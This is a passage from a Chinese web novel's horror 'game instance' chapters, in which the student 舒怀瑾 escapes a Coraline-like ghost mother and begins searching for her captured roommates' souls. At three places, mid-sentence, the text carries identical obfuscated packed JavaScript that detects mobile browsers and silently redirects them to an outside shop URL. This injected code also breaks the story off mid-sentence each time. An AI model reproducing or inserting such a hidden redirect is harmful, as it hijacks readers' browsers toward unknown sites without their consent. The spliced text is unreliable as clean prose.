和她亲生母亲生得一模一样的人,眼睛上镶嵌着两枚黑色的珍珠,此时正笑中带泪地奔向她。 “宝贝女儿,你终于回家了!我们真的好想你。” 她被拥入一个温暖的怀抱中。透过母亲肩部飞扬的发丝,她见到父亲走了进来,倚在门框边,摘下眼镜揩了揩黑珍珠眼睛下晶莹剔透的眼泪。 “回来就好,回来就好……” 眼前的一切都是那样的熟悉,就连背上抚摸的温度与频率都和记忆中完全相同。 她已经太久没有见到家人了,哪怕是一刻的重逢,她都会忍不住沉浸其中。 鬼妈妈的唇角微微勾了起来。这样的人,她见多了。 “好不容易回来了,妈妈和爸爸给你做了你最爱吃的菜,快来尝尝看,还是不是从前的味道。” 舒怀瑾被簇拥着往餐厅走去,梦里想了千万遍的香味就这样来到了她的面前。红烧排骨、香煎鲈鱼、卤牛肉……都是些家常菜,既不华丽,也不精致,却满载着家的温馨味道,给予她致命的吸引力。 鬼妈妈满意地看着舒怀瑾一边被感动得眼泪汪汪,一边大口地吃着菜,手指规律地敲击着桌面,眼中的得意之色渐显。 果真是年轻人,随便从记忆里提取点东西复刻一下,给点甜头就脑袋跟着嘴巴跑了。 不得不说,那个叫方淮的人给她的东西的确是好用。从娃娃眼中观察这些孩子们还是太局限了,窥探记忆就有效得多。 然而,就在她看不到的地方,正低着头的舒怀瑾眼中燃起了明亮的火焰。 忧惧再也压不住愤怒,但此时并不是爆发的合适时间点,她只能极力忍耐着,伪装着,寻求一个将鬼妈妈一击毙命的机会。 这个副本究竟是从哪里找到她父母的信息的?她的父母此时还好吗?他们会像电影中剧情一般被鬼妈妈抓进来吗? 她就像一个初生的婴儿一般赤裸,毫无保留地被人窥伺心中最柔软的地方,然后被人轻飘飘地投入一个专为她打造的囚笼。 她要亲手击碎这样虚假的幸福。 58. 暗宅珠影6 荒谬,实在是太荒谬了。 舒怀瑾瘫在松软的沙发上,面前的茶几上摆满了各色蜜饯、水果、肉干等零嘴儿。 蜜饯是装盘的,水果是切片的,肉干是新鲜做的。一伸手,一杯少糖少冰西柚鲜切果茶就捧了上来。再一伸腿,按摩椅就到位了。 电视放着,游戏开着,不用自己做饭,不用自己打扫卫生,还能受到父母的笑脸相迎。 哪个普通家庭里的普通大学生放假待在家里能一直享受到这种待遇?自己是什么时候成为了中科院院士兼诺贝尔奖得主吗? 虽然眼前的享受比起大富大贵者的人生差别大的很,但舒怀瑾出生在小康家庭,满足阈值很低,这样简单的生活已经是她在家时天堂一般的存在。 当然,舒怀瑾很清楚,以上情况均不可能在现实世界里发生。事实上,舒怀瑾每次放假回家时,只有前三天是家中宝,后面的日子她将改名叫狗都嫌。 面对此情此景,只能说鬼妈妈对于舒怀瑾的白日梦的确把握得不错,但实在是过于脱离实际了。 这也是好事,至少说明鬼妈妈对于她的家庭情况了解仅限于浅层。 更荒谬的是,虽然舒怀瑾不被允许离开家中,她手上的黄皮子也没机会交给大公鸡,但她被拉着享受一通后,鬼妈妈居然就让她上床睡觉了,并没有要求她缝上珍珠眼睛。 这难道是鬼妈妈新一轮的软化手段吗?不得不说,它对于舒怀瑾来说的确是一款香甜的砒霜。当然,也只能是砒霜。 舒怀瑾在床上沉沉睡去,除了床边鬼妈妈的视线外,另有一道目光从窗外落在她的身上。 …… “啊,居然就回来了。” 清晨再度醒来之时,听见舍友的声音,舒怀瑾才回想起昨晚在门中世界时无法联系上舍友的事情。 她现在有九成的把握确定鬼妈妈可以听见她和舍友在意识空间中的对话,有八成的把握判定她们能否交流取决于鬼妈妈。 凌晨时鬼妈妈制造出来的门内世界,显然和她昨天与舍友吐槽时提及的部分细节有所重合。 至于在门中无法对话,恐怕是因为鬼妈妈需要将注意力放在维持世界形态上,不便再耗力打开她们的联系通道进行监听。 她有些苦恼该怎样和舍友们传递被监听的信息,但幸好舍友们看起来也对凌晨特殊的待遇心怀警惕,自打早上起来第一句话落地以后,到现在再没有人吱声。 她仿佛又回到了之前独自一人的状态中,陪伴她的只有那个和她一模一样的娃娃。 娃娃铺平的嘴角此时微微向下,眉头轻轻皱起,望向同样神色凝重的舒怀瑾眼中。 舒怀瑾想了想,还是拿起了那个娃娃,用碎布将它的眼睛牢牢缠上,压在桌脚下,随后向门外走去。 虽然她知道这个娃娃既然能自行移动,那么解开束缚想来也不在话下。但它的表情实在令她心中仿佛卡了一根鱼刺,这样做勉强能让自己心里宽慰一些,也算得上聊胜于无吧。 此时是白天,但屋外阴云低垂,天幕似被一层厚重的灰色绒布所覆盖。白羽毛大公鸡恹恹地伏在鸡舍里,杂乱无章的羽毛边缘都浮上一层灰败。 为防止晚上进小门后见不到大公鸡的事情再度发生,舒怀瑾决定先把黄皮子带给大公鸡。 谁知那翻着白眼的黄皮子都摆在大公鸡面前了,它还是头都不抬,一副大限将至的模样。 大公鸡心中着实有些郁闷。门里的世界并不属于鬼妈妈,因而她虽然看不惯自己能在门里门外自由穿梭,却一直以来都没有什么办法约束它。 他们之间维持着一种微妙的平衡。 但就在昨晚,这个微妙的平衡被打破了。 鬼妈妈不知道从哪里得来了可以直接将它踢出门内世界的办法。现在,只要她乐意,她可以随时将它拒之门外。 它无法在门外开口说话,因此它此时只能用沉默来回答舒怀瑾。 不过,也可以用鸡喙。 于是地上多出了四个用鸡喙一笔一划磨出来的字,字字泣血。 “你——要——死——了——” 没有它的帮助,这个孩子恐怕很快就要死在鬼妈妈的蛛网中。想到这里,公鸡不禁惋惜地摇摇头。 “为什么?我违反了什么规则吗?”舒怀瑾见公鸡如此断言,登时有些紧张起来。 公鸡叹了口气,继续在地上划拉。 “因为我没法帮你。” 一种奇异的神色出现在舒怀瑾面上。她有些迟疑地开口:“你的意思是说,因为你帮不了我,所以我肯定会死了?” 大公鸡痛心地点头。 舒怀瑾陷入了短暂的沉默。 生存守则六说公鸡是全知全能的,侧面印证了她的死亡的可能性。 但…… “总会有其他办法的。”她的目光深邃,声音铿锵有力,“谢谢你对我善意的提醒。但我一路走到这里,并不全是依靠他人的帮助。我会尽全力自救的。” 哪怕是守则断定她即将死亡,只要有一线生机,她都会紧紧抓住,绝对不会因为孤身战斗或是死亡预言就放弃生的希望。 大公鸡有些惊讶地看向舒怀瑾,微微动容,对她几乎刮目相看。 它正想着安慰一下舒怀瑾,翅膀刚伸出去,翅尖却被舒怀瑾一把抓住,拢在手心中。 “当然,如果您还愿意找机会帮我的话,我会非常欢迎和感激的!拜托您了!我真的很想活下去!您的大恩大德小的永世难忘,来世为您做牛做马、结草衔环都是可以的!” 女孩的动作和表情极度夸张,和之前冷静坚毅的模样几乎是判若两人。 老天啊,她真是正经不过三秒。 大公鸡暗自腹诽着,还是禁不住舒怀瑾的猛烈攻势,一时间点头如捣蒜。 救救救救救! “大恩不必言谢!您受小的一拜!” 这种事情就算了!快起来快起来!我只是一只鸡啊——! 一人一鸡闹了一通,院子里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593681|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气氛都轻松不少。 但就在正院门槛之后,阳光照不到的地方,娃娃拖着一长串的碎布条,正静静地望着他们的背影。 …… 时间悄然流逝,夜幕再度降临。 舒怀瑾花了一下午的时间去探测这个副本的地图边界,寻找逃离这座四合院的方法。但很可惜,以四合院为中心、大约一千米为半径围有一道无法撼动的空气墙,除了将那口古井包揽进去外,没再包含其他有效的场景任务点。 当她触碰那道空气墙时,她的面前甚至会弹出一道话术十分熟悉的弹窗。 【您已经探索到地图边界啦~这里什么都没有,但晚上或许会随机刷怪哦~请速速折返吧~】 这根本就是一款游戏吧! 这个弹窗几乎是断绝了她尝试逃离四合院的念想,因而她只好一无所获地回到了四合院。 今天是第三天,舒家父母依旧是带着满身疲惫回到了家中,行为举止和先前并没有什么不同,面容也是副本一开始虚构捏造的模样。 看起来,剧情依旧会平稳地向前推进。 但舒怀瑾的直觉告诉她,今晚门内的世界,将会发生翻天覆地的变化。 当她在凌晨第三次爬过甬道之时,甬道已经积满了灰尘了。她每爬一步,甬道就要苍老地咳嗽几下,就连面前带路的黄皮子步伐都略显蹒跚。 虽然不知道有没有用,但舒怀瑾还是把黄皮子顺手抓进背包里了。 她从充满蜘蛛网的甬道中爬出,身上的蓝色衣服早已变成灰色,一拍就是飞尘漫天。 她就在这飞舞的尘埃中打量着四周。 房间中的布局和上一次来时相比并没有什么变化,但蜘蛛网却是多了不少。 鬼妈妈长时间没有进食,她的法力已经开始枯竭。这对舒怀瑾而言是极大的好事。 不过,这也意味着鬼妈妈的耐心余量不足了。为了尽快给她的眼睛缝上珍珠、吸食她的灵魂,鬼妈妈发现利诱无用后,接下来应当就要上威逼了。 说曹操曹操到,略有些生锈的门轴此时发出“吱呀”一声响,鬼妈妈的身影从门缝中的阴影里现了出来。 她的脸大体上还是舒怀瑾记忆中熟悉的脸,只是那双黑珍珠眼睛黑得愈发浓了,太阳穴略微凹陷,面颊上的颧骨也耸起不少,打下一大片阴影。 此时鬼妈妈正笑着,原本瘦削的脸更是崎岖得可怕。 “怀瑾,怎么站在原地不动?我和你爸爸都在餐厅等你呢。” “我们给你准备了一份礼物。你一定会喜欢。” 她将门完全推开,极细的腰部和膨大的胯部就完全暴露在了舒怀瑾的面前。她似乎也不打算遮掩了,冰冷的手搭住舒怀瑾的肩头就将她往餐厅带,力道大得让舒怀瑾踉跄了两步。 舒怀瑾几乎来不及反应,就被按在了一张巨大的椅子上,靠背和椅子腿往前一挪,她就被牢牢地夹在了桌子和椅子之间。 椅子顶端长出细长的触须,如铁丝一般将她捆绑。 59. 暗宅珠影7 触须锋利的边缘划过舒怀瑾的脖颈,细小的伤口晕染开丝丝缕缕的血液,间歇传来灼烧般的刺痛。 身后的椅子是活的。舒怀瑾可以感受到虫子收腹时覆甲微微摩擦至颤抖,“咔咔”的响声顺着她的脊梁一节节爬进大脑。 躯干与四肢均被禁锢,眼前就是逐渐异形化的鬼妈妈,周围的环境更是阴森得像沼泽之上,迷雾缭绕。此时任谁来坐在这把椅子上,恐怕都会不可遏制地从心底升起一阵胆寒。 舒怀瑾同样害怕,她的手心已经被冷汗浸透。但她深知此时恐惧除了让她手脚发软外没有任何作用,只有强制自己保持清醒,才能有一线生机。 她尽量避开触须边缘,小幅抬头,看向正在餐桌前忙碌的鬼妈妈。 鬼妈妈此时的手指已经全然骨化了,纤细而森白的左手指节在有些粘稠的桌面上敲击着,右手则从桌子另一端勾来一只老旧的盒子。 她指尖一挑,盒盖便被打开,露出其中的一团针线和一对黑得发亮的珍珠。 “怀瑾,你喜欢这里吗?” 黑珍珠嵌在惨白的面皮上,发亮地盯着舒怀瑾。 舒怀瑾嘴唇微动,胸腔轻轻起伏,抵在下巴上的触须便又划出来一道血痕。她眼珠向下撇撇,又作势张了张口,不发出声音。 鬼妈妈很快明白了她的意思,指尖一挑,触须就松开几分,但仍然牢牢绑住她的四肢。 “快回答我吧,怀瑾。” 舒怀瑾舔了舔干裂的嘴唇:“……当然,喜欢得不得了。” 鬼妈妈吃吃地笑了起来,眼角的皮肤皲裂出数道细缝,扑簌簌地往下掉着灰。 “既然喜欢,就留在这里,和爸爸妈妈永远在一起,好不好?”鬼妈妈从正面搭上她的肩膀,亲昵地贴了贴她的脸,冰凉一片,“外面的世界那么危险,留在这儿,我将爱你,给你我有的一切。” 她有的一切?舒怀瑾心中冷笑一声。鬼妈妈的法力已经不足以维持这个世界的正常表象,现在亟需吸食她的灵魂以恢复能力。承诺给自己一切,不过是一张空头支票罢了。 但她现在不能出言反驳。受制于人的情况下,光图口舌之快,她捞不着好处。 见她一时没有反应,一直隐匿在阴影中的鬼爸爸上前几步,拿起那根针在她眼前比划了两下,针尖在灯光下寒芒一闪:“好孩子,你要是想留下来,只需要在眼睛上缝上这两颗珍珠。” 他的声音有些急切:“这根针很细的,只需要在你眼睛上挑两下,非常快,一点儿也不疼,真的。” 鬼妈妈的目光凌厉地刺过鬼爸爸的脸,后者像一块被砸扁的发酵面团一样泄了气,将针拎回原处,缓缓地隐回了阴影之中。 笑容重新回到鬼妈妈的脸上,但一抹担忧却呈现在了舒怀瑾的面上。 “妈妈,真的不疼吗?”舒怀瑾犹豫着开口,“我看这根针挺还是粗的,难道是我看错了?” “妈妈,你能拿起那根针给我仔细看看吗?我得确认它不粗才能下定决心。” 鬼妈妈脸上的裂缝更大了,她扶正了快掉下来的鼻子,声音嘶哑难听:“当然可以,我的宝贝。” 她扭过头去,两根细长的骨指尖捻起更为细长的银针,又转回来,将针立在舒怀瑾眼前,好叫她看清楚。 舒怀瑾与鬼妈妈之间的距离极近,与银针之间的距离更近。舒怀瑾的脸,鬼妈妈手中的银针,鬼妈妈的脸以及天花板上的吊灯,此时连成了一条斜向上的直线。 就是现在! 舒怀瑾的额头猛然朝鬼妈妈的掌根撞去,那根闪亮的银针就乍然承力扎向了鬼妈妈的眼睛。 珍珠做的眼睛虽不会一扎就碎,却也难以避免留下划痕的结局。鬼妈妈一时措手不及,低吼一声捂着眼睛向后退去。舒怀瑾趁此机会从意识背包中拿出早就准备好的小刀,将四肢上的触须通通割断。 摆脱那把椅子后,她才发现那把椅子实际上是一只巨大的蟑螂,被她破坏的地方正涌出浓稠的汁液。 但来不及反胃了,鬼妈妈已经反应过来了,纤长的手骨此时骤然伸向舒怀瑾,下一秒就要抓向她的面庞。 犹如从地狱中爬上来的厉鬼之声从鬼妈妈的喉咙口中点燃:“你不是一个乖孩子——” 舒怀瑾侧身险险避开,喘口气的时机都不曾拥有,就迎面对上了鬼妈妈的下一步攻击。 她矮身朝侧面一翻滚,又转手掏出袖子中的移液枪,对准鬼妈妈的面部和胸腹部一阵猛打。 火力压制下,鬼妈妈的攻击暂时变缓了。但鬼妈妈现在上半身已经完全没有了血肉,只有一层皮黏连在骨头外,因而枪头打出去只能碰个壁就失效了,多次冲击下才能勉强打出一个坑。 “原来这个东西是这么用的。”鬼妈妈桀桀地低笑着,一把捏碎扎进骨头里的一只枪头。 舒怀瑾暗道不妙,三十六计,走为上计,立即转身朝小门处奔去。 耳旁只有“呼呼”的风声和鬼妈妈在身后追赶时凄厉的叫喊声。舒怀瑾头也不敢回,只能凭着对声音的敏感程度,对身后几个位置盲打了几枪,脚下一跑到小门面前就迅速拉开门,尽量轻但快地爬过那长长的甬道。 原本来时很短的甬道此时不知为何像没有尽头一样,几乎是无限延展。鬼妈妈呼唤她名字的声音在甬道中不断回荡,更是令人几近崩溃。 “舒怀瑾——舒怀瑾——” 舒怀瑾能感知到有什么东西跟着她进了甬道。可能是鬼妈妈的肢体,也可能是某只黄皮子。 但她只能不停地向前爬,绕过那些曲折的褶皱,根本无暇分心。 也不知爬了多久,直到她几乎被蜘蛛网裹满,她才终于看见希望的曙光。 几乎是同手同脚地从甬道中爬出来后,她立即将门“砰”地一声关上,用贴身放着的黑珍珠钥匙立即锁好了。 她听见门里传来一声什么东西撞在门上的声音,随后是如幽灵般不绝的附和回声。 好在,门并没有被撞开。 舒怀瑾出了一身冷汗,几乎是精疲力尽地靠着墙坐下。 周遭漆黑一片。今天只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593682|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第四天的凌晨,她还要再活过接下来的两天,而且是大概率有剧情要过的两天。 她知道悲观无用,只能安慰自己虽然前路渺茫,但她好歹从门中跑出来了。 舒怀瑾平复了一下呼吸,随后将房间内所有可见的重物家具都堵在了那扇小门面前。 尽管这些重物起不了什么作用,但放着总是安心些。 然而才歇下来没两秒,舒怀瑾却立即感受到一阵浓浓的睡意压上自己的眼皮。 按理来说,她才刚从小门中逃离,肾上腺素此时应当是爆满才对,这样浓重的困意不符合常理。 但她还没来得及去洗把脸清醒一下,就已经在副本的牵引下倒上了床,沉沉睡去。 月色之下,娃娃坐在床头的椅子旁,面色狰狞地盯着舒怀瑾,整整一夜。 …… 又是一日清晨。舒怀瑾几乎已经习惯了在副本的作息安排下从这张破旧的小床上醒来,但还是按照正常流程脑袋发懵地坐了好一会儿,凌晨的回忆才涌上心头,冷得她打了一个寒颤。 勉强缓了一会儿,她一掀开被子,又见到数只虫子并行。 会有人尖叫吗?舒怀瑾坐在床上静静等待了好一会儿,却迟迟不见有声音响起。 一种不详的预感涌上她的心头。 “映雪,贮月,溪明,你们还好吗?” 一切都是静悄悄的,这种寂静几乎让人发疯。 就在舒怀瑾几乎要忍不住大声再问一遍时,她听见了一阵极其微弱的回应。 “……救我,我在门里。” 她还没听清这句话,正想再问一遍时,猛烈的呼救声如潮水般朝她涌来,霎时间将她吞没。 “救救我!怀瑾!救救我!” “救命!救命——” “我被关在镜子里了,这里好冷,救救我——” 舒怀瑾这次听清了,顿时如坠冰窖。 如果没有听错的话,刚才的声音,是她的舍友们的声音? 不会吧,一定是她听错了吧?她们还有那么多道具,怎么会被鬼妈妈捉住呢? 一定是幻觉,一定是幻觉…… 她几乎有些自欺欺人地在心中重复念着这句话,仿佛这样就能让她的手脚回暖,当作什么都没发生。 根本没用。 她做不到无视。 但是她自己都是九死一生从门中跑回来,为了这样一个不知真假的信息跑回门中,无异于送死。 自身安危与一直以来并肩前行的友谊摆在天平的两端,让她焦虑得几乎要发狂。 与自己无关的人落难,她绝不会以身犯险。但这次身处于危机中的人是她最亲近的舍友。 如果没有舍友们,她可能早就死在副本中了;如果没有舍友们,她在接下来的副本中恐怕也难以独自存活。 假如今日她收到的求救信息是真的,而她任何举措都不做的话,那她此后余生都将活在愧疚之中。 舒怀瑾的目光逐渐镇定下来。 她要做些什么。 60. 暗宅珠影8 毫无准备地回到门的另一边并非明智之举,因此舒怀瑾决定去寻找一些外援。 她奔至鸡舍前,把正在太阳底下有一搭没一搭打瞌睡的大公鸡轻轻唤了起来。 大公鸡睡眼惺忪,显然还没清醒过来,就看见舒怀瑾抓着它的翅膀叽里呱啦说了一大堆。 “你好!非常抱歉打扰你,但我现在真的很需要你的帮助!我愿意付出100只黄皮子的代价,希望你能和我一起进到门中,你愿意帮我吗?” 啊?大公鸡眨了眨眼——可是它没法进门里啊。 “对,我知道你进去的话她可以把你踢出来,但是如果我把你放在我的意识背包中呢?” 先前她随手放进去的黄皮子拿出来时并没有死亡,那公鸡或许也可以进到她的背包中。 同样是副本造物,或许背包中的世界可以逃避鬼妈妈在门中世界的法则,需要公鸡帮忙时再将它放出来即可。只要赶在鬼妈妈将公鸡踢出世界之前将公鸡放回背包,说不定还能卡bug让公鸡一直在门中。 这种可能性不是没有。 从前并没有人试过这种办法,毕竟它会被从门内世界踢出来也是第一回,能否凑效也不得而知。况且,公鸡虽然对舒怀瑾的来历略知一二,但关于意识背包,它还是知之甚少。 它有些疑惑地歪了歪头。 “我可以为你演示一下。但是在此之前,请问我可以先向你提几个问题吗?” 虽然有些白眼狼之嫌,但舒怀瑾心里算盘实在是打得门儿清。 要是先把公鸡放进背包里,出了什么差错,她后边要是想问什么问题可就难了。 公鸡,这位向来善良的公鸡,完全没有意识到这一点,只是正色点头。 虽然不知道为什么,但它潜意识里觉得自己生来就是做这个的。 舒怀瑾没有使用技能,只是清了清嗓子,低声道:“我的朋友们在这个世界的另几条平行线上,但今天我发现她们似乎被门里的妈妈抓住了。” “我想请问一下,她们真的被抓住了吗?” 公鸡阖目思考了一会儿,眼神复杂地睁开眼,正想用喙部给舒怀瑾回复,却发现自己怎么都没法摆动脑袋,就好像有什么无形的力量一直在和它对抗一般。 它和那股力量僵持了一会儿,但却无法争胜,放在舒怀瑾眼里就和定住了一般。 见它不懂,舒怀瑾心道它或许是难以回答,便换了一个问题,继续问道:“假如她们真的被抓住了的话,我进到门里有方法把她们救出来吗?” 还是没有回答。 舒怀瑾不禁有些气馁。 但她做了决定后向来不会轻易反悔,因此她还是决定去闯一闯。更何况,假如她不主动找上门,剧情恐怕也不会放过她。与其到时候被迫进到门中,不如她自己做足准备主动进去。 “你还愿意帮我吗?” 连接两次的沉默让舒怀瑾有些担忧公鸡是否改变了主意,但好在这回公鸡终于给出了明确的答复。 “我会尽全力帮你。” 地上这几个字一被划出来,舒怀瑾的心便稍微安定了一些。 那么,接下来是做实验看公鸡能不能进到她的背包里。 公鸡方才的回复唤醒了她的良知。她想了想,还是觉得直接用公鸡做实验未免风险太大,不如先用别的活物来预实验一番。 想到做到,她直接从鸡舍里抓了另一只活蹦乱跳的公鸡放进了背包。 都是公鸡,同物种,同性别,很好的条件控制。 公鸡就这样微怔地看着被她抓住翅膀的另一只公鸡,即它那每天只知道吃的表哥,眨眼间凭空消失,片刻之后又出现在了地上。 那只公鸡似乎并没有反应过来发生了什么,歪了歪头,又继续在地上啄虫子吃了。 舒怀瑾拍了拍手,抒了一口气——还好,活蹦乱跳。 方才那只鸡被放进背包中的一瞬间就转化为了一张卡片,名为【只知道吃的公鸡和1000升空气】。不过没过几秒,那张卡片的名字就变成了【发现没东西可吃的公鸡和999.99999升空气】 看来这空气还会不断消耗。她不能将公鸡一直放在背包里,得定时拿出来透口气才行。 预实验做完了,接下来就轮到白羽毛大公鸡本鸡了。 在舒怀瑾闪闪亮的眼神中,大公鸡还是咽了口水,硬着头皮把翅膀递到了舒怀瑾手中。 ……来吧!它已经准备好了! 其实抓鸡翅膀只是为了防止被啄罢了。但为了防止公鸡尴尬,舒怀瑾还是没有多解释这一句。她顺势抓住大公鸡的翅膀,心念一动,大公鸡就化作了她背包中的一张卡片。 【心甘情愿被骗了不知道多少回的白羽毛大公鸡和1000升空气】 真是好鸡啊,舒怀瑾抹泪。 她过了一小会儿,才将公鸡放出来。 公鸡朝她轻轻摇摇头,示意自己没事,但心中却扬起了滔天骇浪。 被放在背包里的那一瞬,它似乎感知到和什么东西联系在了一起。 那东西所含的东西太过深奥,让它头疼欲裂之下乍然发现,地球并不只是围着它现在所在的世界转。 外面广阔得令它难以想象,而它不过是比蝼蚁都更渺小的一粒尘埃。 这个认知让它陷入了长久的沉默。 …… 公鸡可以正常从背包中出入,冷兵器已经补充完毕,钥匙贴身绑好,衣服下用胶带缠了厚厚的一层,手表和移液枪则是随身携带。 舒怀瑾已经做了她能做的所有准备了,现在只等凌晨的到来。 白天打开那扇小门时,里面只有一扇砖墙。据公鸡所说,一定要凌晨之后,连接两个世界的通道才能打开。 时间不紧不慢地流逝着,直到零点一到,那扇门后便发出幽幽的光来。 目前副本给出的生存守则几乎没有用上过,此去恐怕是守则扎堆、危险重重。舒怀瑾深吸一口气,给自己壮壮胆,还是打开了那扇小门。 砖墙已然消失不见,甬道逐渐现出身来。比之昨日,甬道今日更脏了,散发出的光已然似鬼火一般,合着腐朽的气味在道内缓缓逸散。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593683|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舒怀瑾爬入了这甬道之中,才刚前进两步,却突然受到了来自上方的撞击。 她一扭头,只见一只骨化的断手森森坠在她的背上,正朝着她的头飞速跑来。 是鬼妈妈的手! 甬道内狭窄,当她想阻止那只断手时已经来不及了。那只手一把薅住舒怀瑾的马尾,拖着她就往门的另一边冲去。 门那边传来鬼妈妈尖利的笑声:“你回来了,你回来了!我就知道你不会抛下我们,哈哈哈哈!” 甬道一下子变得极短,眨眼间舒怀瑾就被拖到了门外。 鬼妈妈早已等候在门边上,另一只手完好的手捏住舒怀瑾的后颈皮,将舒怀瑾生生拎了起来。 人和猫毕竟有很大不同,舒怀瑾只感觉自己的脖子仿佛血肉被撕开一般剧痛无比。 “这回我可不会让你那么容易就逃走了,坏孩子,先让你尝尝眼睛被扎的滋味。” 鬼妈妈另一只手拿过针线来,就要往舒怀瑾的眼睛上扎。 千钧一发之际,舒怀瑾想到了公鸡曾经说过的话,霎时间大喝一声。 “稍等!” “如果你想让我甘愿把眼睛缝上纽扣的话,就来和我玩个游戏吧。” “你赢了,我就让你给我的眼睛缝上黑珍珠。” 鬼妈妈喜欢玩游戏,她享受狩猎的快感,这点毋庸置疑。 听见这段话后,鬼妈妈的眼珠里明显涌上了一些诡异的色彩。 她饶有兴致地停下了手中的针线:“哦?” 舒怀瑾的冷汗已然浸湿后背:“要是我赢了,你就把我的舍友放了,让我们四个一起离开这个地方。” 鬼妈妈的指尖在桌上敲击着。 “什么游戏?” “找人的游戏。假如我能找到我的舍友们,就算我赢,怎么样?” 鬼妈妈仿佛听见了什么天大的笑话一般,尖尖地笑了起来。 “你是不可能找到她们的。当然,我乐意和你玩这个游戏。” 她想了想,又继续道:“不过,我要加个条件。” “她们已经被我缝上眼睛了,此时只是三团灵魂罢了。你来得早,我还没来得消化她们,但时间长了可就不一定了。” “你必须在三小时内找到她们三个的灵魂,如何?” 舒怀瑾咬牙:“成交。” “砰”的一声响,舒怀瑾被松开了后颈皮,乍然坠落在冰凉粘腻的地板上。 已经身形削长近三米高的鬼妈妈俯下身子来,将舒怀瑾轻轻扶起。 “现在就去行动吧,我的小老鼠。” 舒怀瑾站起身子来,头也不回地跑出了房门。 背包中的卡片此时传来一阵久违的声音。 大公鸡:“就算你赢了,她也不会放你走的。” “我知道。”舒怀瑾奋力向前跑着,一面从背包中拿出之前黄小姐给她的符咒,贴在了额头上,“缓兵之计罢了。我要先找到我的舍友。” 黄符一落上额头,世界霎时间变得灰白。 遥遥一望,黄小姐家中正透出一阵微光。 61. 暗宅珠影9 上次来访时精致的梨园大门此时已经覆满了灰尘。 舒怀瑾轻轻推开了腐朽的大门,低沉而悠长的吱嘎声萦绕在园中,霉味柔柔地搭上她的鼻尖。 目之所及漆黑一片,只有戏台中央一颗珍珠大小的光点,似乎悬在半空中隐隐发着微弱的光。 那应当就是舍友的灵魂了。 据公鸡所说,鬼妈妈向来喜欢将受害者的一缕魂留在肉/体中后关入镜中嗟磨至死,剩余九分魂魄凝成一团以供自己吸食。 她找到三团魂魄后,还得再将舍友们在镜中的身体放出来才行。 这样想着,她谨慎地在黑暗中前行。 越靠近,微光四周的轮廓显得就更清晰——它分明被攥在两只交缠相握的手中,映得血肉如果冻一般半透明。 那光团触手可及。舒怀瑾小心翼翼地伸出手,慢慢将那紧紧相扣的手指一根根掰开。 刺骨的冰凉几乎冻僵舒怀瑾的指尖,但她终于抓住了那团光芒。 就在她将右手往回收的那一刹那,梨园中的灯光忽然全部亮起,被掰开的两只手猛然掐住了她的手! “你是小偷——” 面容惨白的“黄小姐”和“表姐”依旧是白素贞与许仙的扮相,此时齐声尖叫着,扯着舒怀瑾的手向后拉,力道大得让舒怀瑾几乎要跌入她们怀中。 情急之下,舒怀瑾左手从意识背包中凭空摸出一把锋利的小刀,往姐妹二人的手腕上砍去。 奇怪的是,虽然两人一身蛮力,但手腕遇上刀却像块豆腐似的,一切就碎了。 舒怀瑾把手上冰冷的碎肉沫扫掉,赶忙后撤两步翻身下台。台上的两人,或许此时已经不能被称作人了,已经匍匐在了逐渐变得粘稠的戏台上,身躯仿佛融化的蜡烛一般,逐渐辨不出形状。 偌大的戏台上只有她们的尖叫依旧,如蜜蜂的尾刺蛰入舒怀瑾的鼓膜。 舒怀瑾将那团灵魂放入衣襟中,扭头抬脚欲往门奔去,却见到看台座位上密密麻麻落满了鸟儿。 数千只鸟儿一动不动地盯着舒怀瑾,喙边缓缓渗出丝丝血迹。 它们张开了喙部。与此同时,舒怀瑾寒毛倒立,立即朝门跑去。 鸟儿如幽灵般歌唱。 舒怀瑾的精神值在骤然下降,大脑此时的混乱已经支撑不住她的迅速移动。 脚步不过迟疑了一瞬,通往门的过道立即被乌乌泱泱的鸟堵住,她的四周都围满了鸟儿。然而,守则的要求是捂住耳朵往声源的相反方向跑去。 四面八方都是相反方向,但四面八方都不是相反方向。这是一个无解的命题。 舒怀瑾咬牙,利落撕下一长条下裳布料往头上捆去,绕过头顶和下巴,盖住了两只耳朵。 反正守则只说捂住耳朵,又没说一定要用手。 耳朵被遮盖的瞬间,她的精神值降低速度大大减缓,却还是以极其危险的速度下降着。 既然没办法按照生存守则来脱困,那就只好不走寻常路了。 舒怀瑾将移液枪一把抽出,朝前、左、右三个方向集火扫射。被射中的鸟儿顿时化作了一缕青烟,消失在浑浊的空气之中。 在她的不懈努力下,过道被打出了一个缺口,左右的鸟数量也少了许多。她拖着已经有些无力的身体,尽全力往门挪去。 